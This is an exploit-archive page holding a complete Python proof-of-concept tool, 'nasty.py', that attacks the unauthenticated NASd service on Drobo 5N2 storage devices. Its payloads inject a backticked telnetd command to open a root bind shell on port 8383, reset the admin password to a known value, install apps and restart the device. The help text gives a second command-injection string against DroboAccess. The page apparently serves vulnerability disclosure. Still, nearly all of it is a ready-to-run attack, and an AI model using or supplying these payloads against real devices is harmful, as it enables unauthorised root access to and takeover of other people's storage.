Drobo 5N2 4.1.1 Remote Command Injection

2020.03.14
Risk: High
Local: No
Remote: Yes
CWE: CWE-78

# Exploit Title: Drobo 5N2 4.1.1 - Remote Command Injection # Date: 2020-03-12 # Exploit Author: Rick Ramgattie, Ian Sindermann # Vendor Homepage: https://www.drobo.com/ # Version: 4.1.1 and lower. # CVE: CVE-2018-14709, CVE-2018-14701 ### #!/usr/bin/env python3 # nasty.py - A proof-of-concept utility for (maliciously) interacting with the Drobo NASd service. # This utility leverages the lack of any real authentication mechanism to perform arbitrary actions. # These actions include: # - Getting device status. # - Installing applications. # - Resetting admin credentials. # - Popping root shells. # - Turning on party mode. # This set of exploits is known to affect the Drobo 5N2, firmware version 4.1.1 and lower. # As of 2020-03-12, newer firmware versions appear to be vulnerable as well, but this has not been verified. # Most of the Drobo product line also appears to be vulnerable. Again, this has not been verified. # These vulnerabilities were disclosed to the manufacturer on 2018-07-10. # More vulnerabilities for this device may be found here: https://blog.securityevaluators.com/4f1d885df7fc ### # Product of ISE Labs. # - http://www.securityevaluators.com/ # - @ISESecurity ### # RE Notes: # ,-- Encryption bool? # Handshake Preamble: * /\ # 44 52 49 4e 45 54 54 4d 07 01 00 00 00 00 00 88 # \_____________________/ \_________/ \_________/ # Static string. To/from Size of # "DIRNETTM" server? next message # # Handshake # 64 72 61 31 37 33 32 30 32 33 30 30 30 31 30 00 00 00 00 00 64 72 61 31 37 33 32 30 32 33 30 30 30 31 30 00 00 00 00 00 00 00... # \______________________________________________/ \_________/ \_______________________________________________/ \_________________--> # Device serial number with NULL padding. NULL Device serial number with NULL padding. ESAID? 88 bytes of NULL # "dra173202300010" "dra173202300010" # # The stat port returns an "ESAID" value that is identical to the serial number on this device (5N2). # One of the serial numbers in this packet may actually be the ESAID. # # Preamble: * # 44 52 49 4e 45 54 54 4d 0a 01 00 00 00 00 00 88 # \_____________________/ \_________/ \_________/ # Static string. To/from Size of # "DIRNETTM" server? next message # # Message: # XX XX XX XX XX XX XX XX 00 # \_____________________/ \/ # Arbitrary length string NULL terminator # # # Protocol flow: # Initial handshake: ,----- 2nd nibble in 3rd section is different. "07 01 00 00" instead of "0a 01 00 00" #TODO: why? # | c -> s: Preamble. <-' \_ # | c -> s: Message: Handshake / `- These two are normally sent as one packet. # v c <- s: Preamble. <-------- 2nd nibble in 3rd section is different. "87 01 00 00" instead of "8a 01 00 00" #TODO: why? # Loop: # +> c -> s: Preamble. # | c -> s: Message: Command. # | c <- s: Preamble. # +- c <- s: Message: Results. > Large responses are split into chunks. Must use size from preamble. import argparse import logging import re import socket import struct import sys LOG_FORMAT = '[%(levelname)s]: %(message)s' BUFFER_SIZE = 1024 HANDSHAKE_PREAMBLE = b'\x44\x52\x49\x4e\x45\x54\x54\x4d\x07\x01\x00\x00' PREAMBLE = b'\x44\x52\x49\x4e\x45\x54\x54\x4d\x0a\x01\x00\x00' PREAMBLE_LEN = 16 # Note: Payloads usually contain the device's serial number. Replace this with # '{serial}' so `send_msg` can insert the target's serial. PAYLOADS = { "daccess" :'<TMCmd><CmdID>78</CmdID><Params><Name>DroboAccess</Name><Action>Install</Action><Data>ftp://updates.drobo.com/droboapps/2.1/downloads/DroboAccess.tgz</Data></Params><ESAID>{serial}</ESAID></TMCmd>', "dropbear":'<TMCmd><CmdID>78</CmdID><Params><Name>dropbear</Name><Action>Install</Action><Data>ftp://updates.drobo.com/droboapps/2.1/downloads/dropbear.tgz</Data></Params><ESAID>{serial}</ESAID></TMCmd>', "getadmin":'<TMCmd><CmdID>30</CmdID><Params><DRINasAdminConfig>DRINasAdminConfig</DRINasAdminConfig><DRINasDroboAppsConfig>DRINasDroboAppsConfig</DRINasDroboAppsConfig></Params><ESAID>{serial}</ESAID></TMCmd>', "getnet" :'<TMCmd><CmdID>30</CmdID><ESAID>{serial}</ESAID><Params><Network>Network</Network></Params></TMCmd>', "gettemp" :'<TMCmd><CmdID>61</CmdID><ESAID>{serial}</ESAID></TMCmd>', "partyon" :'<TMCmd><CmdID>26</CmdID><Params><IdentifyInterval>900</IdentifyInterval></Params><ESAID>{serial}</ESAID></TMCmd>', "partyoff":'<TMCmd><CmdID>26</CmdID><Params><IdentifyInterval>0</IdentifyInterval></Params><ESAID>{serial}</ESAID></TMCmd>', "popit" :'<TMCmd><CmdID>78</CmdID><Params><Name>Drobo`telnetd -l $SHELL -p 8383`Access</Name><Action>Install</Action><Data>bork</Data></Params><ESAID>{serial}</ESAID></TMCmd>', "restart" :'<TMCmd><CmdID>21</CmdID><ESAID>{serial}</ESAID></TMCmd>', "setadmin":'<TMCmd><CmdID>31</CmdID><Params><DRINASConfig><DRINasAdminConfig><UserName>admin</UserName><Password>ono</Password><ValidPassword>1</ValidPassword><EncryptedPassword>0</EncryptedPassword></DRINasAdminConfig><DRINasDroboAppsConfig><Version>11</Version><Enabled>1</Enabled></DRINasDroboAppsConfig></DRINASConfig></Params><ESAID>{serial}</ESAID></TMCmd>', "test" :'<TMCmd><CmdID>82</CmdID><Params><Time>1521161215</Time><GMTOffset>4294966876</GMTOffset></Params><ESAID>{serial}</ESAID></TMCmd>', "stdin" :'Handled elsewhere.'} DEFAULT_PORT_STAT = 5000 DEFAULT_PORT_CMD = 5001 DEFAULT_TIMEOUT = None HELP_EPILOG=''' PAYLOADS daccess - Installs DroboAccess on the target device. At the time of writing, DroboAccess has numerous unauthenticated command injection vulnerabilities. Try the following: GET /DroboAccess/delete_user?username=test';/usr/sbin/telnetd -l /bin/sh -p 8383 - A long delay and response of "<Error>0</Error>" is expected. dropbear - Installs dropbear on the target device. - A response of "<Error>0</Error>" is expected. getadmin - Returns the target's current (redacted) admin configuration. gettemp - Returns the target's system info (temperature and uptime). getnet - Returns the target's network info. partyon - Enables "party mode" on the target. This will cause the target device's lights to blink for 15 minutes. partyoff - Prematurely disables "party mode". popit - Exploits CVE-2019-6801 to spawn a root bind shell on port 8383. - A response of "<Error>1</Error>" is expected. restart - Restarts the target device. setadmin - Sets administrative options on the target. - Username: admin - Password: ono - Apps enabled: yes stdin - Reads data from STDIN and sends it as a command. ''' def recv_message(s): preamble = s.recv(PREAMBLE_LEN) msg_len = struct.unpack(">I", preamble[-4:])[0] # Parse expected message length from preamble. message = '' if msg_len <= 0: return(message) while True: message += s.recv(BUFFER_SIZE).decode('utf-8') if len(message) >= msg_len: return(message) # There will be a null at the end. It should be fine. def send_handshake(s, serial): serial_bytes = serial.encode('utf-8') hs_body = struct.pack("16s", serial_bytes) # 16 byte padded string containing device serial number. hs_body += struct.pack(">I", 0) # 4 byte field, presumably uint, only seen as zero. hs_body += struct.pack("16s", serial_bytes) # 16 byte padded string containing device serial number. again... hs_body += struct.pack("184x") # 184 bytes of NULL padding. size_bytes = struct.pack(">I", len(hs_body)) # Size of message body. Send with preamble. hs_data = HANDSHAKE_PREAMBLE + size_bytes + hs_body logging.debug(repr(hs_data)) s.send(hs_data) def send_message(s, serial, message): msg_body = message.format(serial=serial) # Add target device's serial number. msg_body_bytes = msg_body.encode('utf-8') msg_body_bytes += struct.pack("x") # NULL terminator. size_bytes = struct.pack(">I", len(msg_body_bytes)) # Size of XML body. Send with preamble. msg_data = PREAMBLE + size_bytes + msg_body_bytes logging.debug(repr(msg_data)) s.send(msg_data) aparser = argparse.ArgumentParser( description='nasty.py - A proof-of-concept utility for (maliciously) interacting with the Drobo NASd service.', epilog=HELP_EPILOG, formatter_class=argparse.RawDescriptionHelpFormatter) aparser.add_argument("host", help='Host or IP address of the target Drobo.') aparser.add_argument("payload", help='Payload to use. See PAYLOADS.') aparser.add_argument("-p", "--portstat", help='Specify a non-default stat port on the Drobo.', default=DEFAULT_PORT_STAT, type=int) aparser.add_argument("-P", "--portcmd", help='Specify a non-default command port on the Drobo.', default=DEFAULT_PORT_CMD, type=int) aparser.add_argument("-s", "--serial", help='Manually set the target serial number. Skips serial number detection.') aparser.add_argument("-t", "--timeout", help='Set a timeout in seconds for socket operations.', default=DEFAULT_TIMEOUT, type=float) aparser.add_argument("-v", "--verbose", help='Increase verbosity.', action='store_true') args = aparser.parse_args() # Basic check for color support. if sys.stdout.isatty() and sys.platform in ["linux","linux2","darwin"]: logging.addLevelName(logging.NOTSET, "\033[39m????\033[0m") logging.addLevelName(logging.DEBUG, "\033[37mDBUG\033[0m") logging.addLevelName(logging.INFO, "\033[96mINFO\033[0m") logging.addLevelName(logging.WARNING, "\033[93mWARN\033[0m") logging.addLevelName(logging.ERROR, "\033[95mERRR\033[0m") logging.addLevelName(logging.CRITICAL, "\033[91mCRIT\033[0m") else: logging.addLevelName(logging.NOTSET, "????") logging.addLevelName(logging.DEBUG, "DBUG") logging.addLevelName(logging.INFO, "INFO") logging.addLevelName(logging.WARNING, "WARN") logging.addLevelName(logging.ERROR, "ERRR") logging.addLevelName(logging.CRITICAL, "CRIT") if args.verbose: logging.basicConfig(format=LOG_FORMAT, level=logging.DEBUG) else: logging.basicConfig(format=LOG_FORMAT, level=logging.INFO) if args.payload == 'stdin': logging.info("Reading payload from STDIN.") payload_xml = sys.stdin.read() logging.debug(payload_xml) else: payload_xml = PAYLOADS[args.payload] logging.info("Connecting...") # Connect to the stat port. This is required for the cmd port to work. # The stat port also gives us the serial number. sock_stat = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock_stat.settimeout(args.timeout) sock_stat.connect((args.host, args.portstat)) # Connect to the cmd port. sock_cmd = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock_cmd.settimeout(args.timeout) sock_cmd.connect((args.host, args.portcmd)) # Pull the serial number from the stat port. logging.info("Pulling serial number...") stat_msg = sock_stat.recv(BUFFER_SIZE) if args.serial: serial = args.serial else: m = re.search('<mSerial>([^<]+)</mSerial>', stat_msg.decode('utf-8')) if not m: logging.critical("Could not determine target's serial number!") logging.debug(stat_msg) sys.exit(100) serial = m.group(1) logging.info("Identified serial: " + serial) # Perform a handshake with the cmd port. Requires the serial num. logging.info('Performing handshake...') send_handshake(sock_cmd, serial) recv_message(sock_cmd) # Blank response - trash. # Send the payload. logging.info("Sending payload...") send_message(sock_cmd, serial, payload_xml) logging.info("Waiting for response...") resp = recv_message(sock_cmd) logging.info("Response:\n" + resp) # Cleanup. sock_cmd.close() sock_stat.close() logging.info("Donezo.")


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2020, cxsecurity.com

 

Back to Top